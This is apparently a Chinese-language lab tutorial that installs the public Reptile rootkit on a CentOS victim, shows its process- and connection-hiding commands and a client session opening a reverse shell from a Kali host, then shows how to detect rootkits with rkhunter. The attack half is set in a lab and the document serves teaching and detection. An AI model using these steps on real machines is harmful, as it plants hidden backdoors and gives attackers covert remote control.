1.1 Rootkit介绍
Rootkit 是一种特殊的恶意软件,它的功能是在安装目标上隐藏自身及指定的文件、进程和网络链接等信息,比较多见到的是Rootkit一般都和木马、后门等其他恶意程序结合使用。
1.2 实验环境
序号 | 主机IP | 主机系统 | 主机角色 |
1 | 192.168.10.180 | Kali | 攻击机 |
2 | 192.168.10.82 | Centos 7.6 64位 | 被攻击机 |
1.3 配置reptile-rootkit环境
1.3.1 下载reptile-rootkit
https://github.com/f0rb1dd3n/Reptile
1.3.2 被控端安装reptile-rootkit
[root@test ~]# yum install -y git make gcc readline-devel ncurses-devel elfutils-libelf-devel [root@test /]# cd /server/tools/ [root@test tools]# tar xf Reptile-2.0.tar.gz [root@test tools]# cd Reptile-2.0 [root@test Reptile-2.0]# ./setup.sh install

1.3.3 Kali安装client
# apt-get install libreadline-dev # tar xf Reptile-2.0.tar.gz -C /home/pinming/Program/ # cd /home/pinming/Program/Reptile-2.0 # ./setup.sh client

1.4 使用reptile-rootkit
1.4.1 reptile-rootkit常用命令
隐藏进程: /reptile/reptile_ cmd hide <pid> 显示进程: /reptile/reptile_ cmd show <pid> 隐藏udp: /reptile/reptile_ cmd udp <IP> <port> hide 显示udp: /reptile/reptile_ cmd udp <IP> <port> show 隐藏tcp: /reptile/reptile_ cmd tcp <IP> <port> hide 显示tcp: /reptile/reptile_ cmd tcp <IP> <port> show
1.4.2 client连接后门
# cd /home/pinming/Program/Reptile-2.0/bin # ./client reptile-client> show VAR VALUE DESCRIPTION LHOST Local host to receive the shell LPORT Local port to receive the shell SRCHOST Source host on magic packets (spoof) SRCPORT Source port on magic packets (only for TCP/UDP) RHOST Remote host RPORT Remote port (only for TCP/UDP) PROT Protocol to send magic packet (ICMP/TCP/UDP) PASS Backdoor password (optional) TOKEN Token to trigger the shell reptile-client> set LHOST 192.168.10.180 [*] LHOST -> 192.168.10.180 reptile-client> set LPORT 4444 [*] LPORT -> 4444 reptile-client> set RHOST 192.168.10.82 [*] RHOST -> 192.168.10.82 reptile-client> set RPORT 666 [*] RPORT -> 666 reptile-client> set SRCHOST 192.168.10.82 [*] SRCHOST -> 192.168.10.82 reptile-client> set SRCPORT 666 [*] SRCPORT -> 666 reptile-client> set PROT TCP [*] PROT -> TCP reptile-client> set TOKEN hax0r [*] TOKEN -> hax0r reptile-client> set PASS s3cr3t [*] PASS -> s3cr3t reptile-client> run [*] Using password: s3cr3t [*] Listening on port 4444... [*] TCP: 65 bytes was sent! [+] Connection from 192.168.10.82:34584 reptile> help Reptile Shell Written by: F0rb1dd3n help Show this help download Download a file from host upload Upload a file to host shell Open a full TTY interactive shell delay Set time to reverse shell connect exit Exit this shell Type: "help <command>" to see specific help reptile> shell # 默认的隐藏策略是名称中包含reptile 的都会被隐藏

1.5 检查rootkit
1.5.1 使用rkhunter检查rootkit
1.5.1.1 rootkit介绍
rkhunter是Linux系统平台下的一款开源入侵检测工具,具有非常全面的扫描范围,除了能够检测各种已知的rootkit特征码以外还支持端口扫描、常用程序文件的变动情况检查。
PS:在centos7下的epel源中有rkhunter安装包,可以使用这个来检查rootkit。
1.5.1.2 安装rkhunter
[root@test ~]# yum install -y epel-release [root@test ~]# yum install -y rkhunter unhide
1.5.1.3 建立校对样本库
建议系统安装完成后马上建立校对样本:
[root@test ~]# rkhunter –propupd [root@test ~]# ll -h /var/lib/rkhunter/db/rkhunter.dat # 样本文件的数据库位置 -rw------- 1 root root 17K Jul 29 15:56 /var/lib/rkhunter/db/rkhunter.dat
1.5.1.4 在线升级rkhunter漏洞库
rkhunter是通过一个含有rootkit名字的数据库来检测系统的rootkits漏洞,所以经常更新该数据库非常重要,可以通过下面命令来更新该数据库:
[root@test ~]# rkhunter --update

1.5.1.5 运行rkhunter检查系统
rkhunter主要执行下面一系列的测试:
- MD5校验测试,检测任何文件是否改动
- 检测rootkits使用的二进制和系统工具文件
- 检测特洛伊木马程序的特征码
- 检测大多常用程序的文件异常属性
- 执行一些系统相关的测试(因为rootkit hunter可支持多个系统平台)
- 扫描任何混杂模式下的接口和后门程序常用的端口
- 检测如/etc/rc.d/目录下的所有配置文件、日志文件,任何异常的隐藏文件等等
- 对一些使用常用端口的应用程序进行版本测试,如Apache Web Server、Procmail等
[root@test ~]# rkhunter --check [root@test ~]# rkhunter --check --sk # 自动执行程序,不需要手动输入Enter

1.5.1.6 检测rkhunter新版本
[root@test ~]# rkhunter --versioncheck [ Rootkit Hunter version 1.4.6 ] Checking rkhunter version... This version : 1.4.6 Latest version: 1.4.6

我的微信
如果有技术上的问题可以扫一扫我的微信